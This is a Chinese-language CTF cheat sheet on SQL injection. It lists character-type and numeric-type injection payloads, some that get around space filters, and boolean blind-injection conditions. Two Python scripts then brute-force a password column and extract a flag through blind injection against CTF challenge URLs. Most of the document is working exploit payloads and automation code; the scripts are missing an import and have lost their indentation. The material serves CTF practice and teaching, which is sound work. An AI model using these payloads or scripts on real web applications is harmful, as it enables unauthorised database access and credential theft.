一、技巧
解释:在一些题目里面常常充满了各种各样的过滤,我们需要结合实际情况去进行注入,下面提供一些Payload以及适用场景
' --+ //字符型测试(看回显内容是否正确进行初步判断)
' %23 //字符型测试(看回显内容是否正确进行初步判断)
1' and 1=2 --+ //字符型测试(确保‘1’的位置能查到数据,然后故意让其查不到数据,再次分析返回结果)
1' and 1=2 %23 //字符型测试(确保‘1’的位置能查到数据,然后故意让其查不到数据,再次分析返回结果)
1' order by 1000 --+ //字符型测试(确保‘1’的位置能查到数据,然后order by必然会报错,再次通过页面结果进行分析)
1' order by 1000 %23 //字符型测试(确保‘1’的位置能查到数据,然后order by必然会报错,再次通过页面结果进行分析)
' union SELECT 1 --+ //字符型测试(确保’的位置查不到数据,然后SELECT 1可能会报错,也有可能直接返回1,再次通过页面结果进行分析)
' union SELECT 1 %23 //字符型测试(确保’的位置查不到数据,然后SELECT 1可能会报错,也有可能直接返回1,再次通过页面结果进行分析)
1'and(1=2)%23 //字符型测试(绕过空格过滤)
1'and%0a1=2%23 //字符型测试(绕过空格过滤)
1'and%091=2%23 //字符型测试(绕过空格过滤)
1'and(ASCII(SUBSTR(DATABASE(),1,1))<1)%23 //字符型测试(绕过空格过滤)
1'and(ASCII(SUBSTR((select(flag)from(flag)),1,1))>1)%23//字符型测试(绕过空格过滤确保flag表flag列一定要存在)
1'and(ASCII(SUBSTR((select(group_concat(flag))from(flag)),1,1))>1)%23 //字符型测试(绕过空格过滤,确保flag表flag列一定要存在)
1'and((flag)like'D%')%23 //字符型测试(绕过空格过滤,确保flag列一定要存在)
1 and 1=2 //数字型测试(确保1的位置能查到数据,然后故意让其查不到数据,再次分析返回结果)
1 order by 1000 //数字型测试(order by必然会报错,再次通过页面结果进行分析)
-1 UNION SELECT 1 //数字型测试(确保’的位置查不到数据,然后SELECT 1可能会报错,也有可能直接返回1,再次通过页面结果进行分析)
(1)and(1=2)//数字型测试(绕过空格过滤)
(ASCII(SUBSTR(DATABASE(),1,1))<1)//数字型测试(绕过空格过滤,确保结果一定不成立再查看结果)
(ASCII(SUBSTR(DATABASE(),1,1))>1)//数字型测试(绕过空格过滤,确保结果一定成立再查看结果)
(flag)like'X%' //数字型测试(绕过空格过滤,确保flag列一定要存在)
(ASCII(SUBSTR((select(flag)from(flag)),1,1))>1)//数字型测试(绕过空格过滤,确保flag表flag列一定要存在)
(ASCII(SUBSTR((select(group_concat(flag))from(flag)),1,1))>1)//数字型测试(绕过空格过滤,确保flag表flag列一定要存在)
' --+
' %23
1' and 1=2 --+
1' and 1=2 %23
1' order by 1000 --+
1' order by 1000 %23
' union SELECT 1 --+
' union SELECT 1 %23
1'and(1=2)%23
1'and%0a1=2%23
1'and%091=2%23
1'and(ASCII(SUBSTR(DATABASE(),1,1))<1)%23
1'and(ASCII(SUBSTR((select(flag)from(flag)),1,1))>1)%23
1'and(ASCII(SUBSTR((select(group_concat(flag))from(flag)),1,1))>1)%23
1'and((flag)like'D%')%23
1 and 1=2
1 order by 1000
-1 UNION SELECT 1
(1)and(1=2)
(ASCII(SUBSTR(DATABASE(),1,1))<1)
(ASCII(SUBSTR(DATABASE(),1,1))>1)
(flag)like'X%'
(ASCII(SUBSTR((select(flag)from(flag)),1,1))>1)
(ASCII(SUBSTR((select(group_concat(flag))from(flag)),1,1))>1)
二、常用函数
- like:通过
列名 like 'xxx%'
来进行穷尽爆破SELECT * from users where id='-1' or username like 'D%'; #'
SELECT * from users where id='-1' or username like 'Du%'; #'
SELECT * from users where id='-1' or username like 'Dum%'; #'
SELECT * from users where id='-1' or username like 'Dumb%'; #'
- ascii(a):获取a对应的ascii数值(ascii范围0-127)
- ():例如
select * from users where id=(1>2);
(里面包着的值通过一些列操作最终返回Boolean值) - substr(‘123’,1,1):第一个参数是字符串,第二个参数表示取第几位(跟C语言等编程不一样,并非从0开始),第三个参数是步长
三、布尔盲注
解释:CTF里面有不少题目是关于盲注的,下面提供一些我遇到的可能有技巧的地方,在CTF里面布尔盲注时,往往都会告诉你列名(没有告诉就猜一下),此时我们可以采取列名 like 'xxx%'
来进行爆破,或者采取普通的ascii(substr(str,1,1))>100
1.无过滤时注入
# 此种情况需要自己猜测出来列名,往往CTF都有暗示
import requests
class BoolCrash:
def __init__(self, url, subject):
self.subject = subject
self.url = url
self.list = string.ascii_letters + string.digits + string.punctuation
self.empty = ''
def run(self):
while True:
for i in self.list:
# 下面3行需要自行构造
sql_payloads = f"1' OR p3ss_w0rd like '{self.empty + i}%' #"
# select id FROM emails where email_id='' or ascii(SUBSTR(`email_id`,0,1))=1 #' (类似这种写法的也很多)
params = {'username': sql_payloads, 'password': '1'}
response = requests.post(url=self.url, data=params)
response = response.text
# 布尔注入判断的条件
if self.subject in response:
self.empty = self.empty + i
break
# 当下一个内容不再出现在列表里面时,代表下一个内容为其它内容或为空,循环结束
else:
print('当前碰撞结束,结果可能因为list内容的局限而失败')
break
print(self.empty)
BoolCrash('http://eci-2ze9oa2p12vc9plzmnyh.cloudeci1.ichunqiu.com/Challenges/login.php','密码错误').run()
# 自己运行时,要根据实际情况,多调试几次,下面用#--------------划分的都是需要自定义的,也就是要按照实际情况进行修改的
import requests
def binary_search(sql_payloads, url):
n = 128
low = 0
high = n - 1
tem = sql_payloads # 记录该值
while low <= high:
sql_payloads = tem # 让每次循环的sql_payloads都是最处的值
mid = (low + high) // 2
# -------------------------------------------------------------
sql_payloads = sql_payloads + f"{mid}" + ')'
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
# -------------------------------------------------------------
# 表示满足条件
if 'YES' in response:
low = mid + 1
else:
high = mid - 1
return low
def run():
# -------------------------------------------------------------
url = 'http://eci-2ze60ej08gskxf7qzvga.cloudeci1.ichunqiu.com/'
# -------------------------------------------------------------
str = ''
i = 1
while True:
# 需要自己手动暂停
# -------------------------------------------------------------
sql_payloads = f'(ASCII(SUBSTR((select(flag)from(flag)),{i},1))>'
# -------------------------------------------------------------
i = i + 1
n = binary_search(sql_payloads, url)
str += chr(n)
print(str)
run()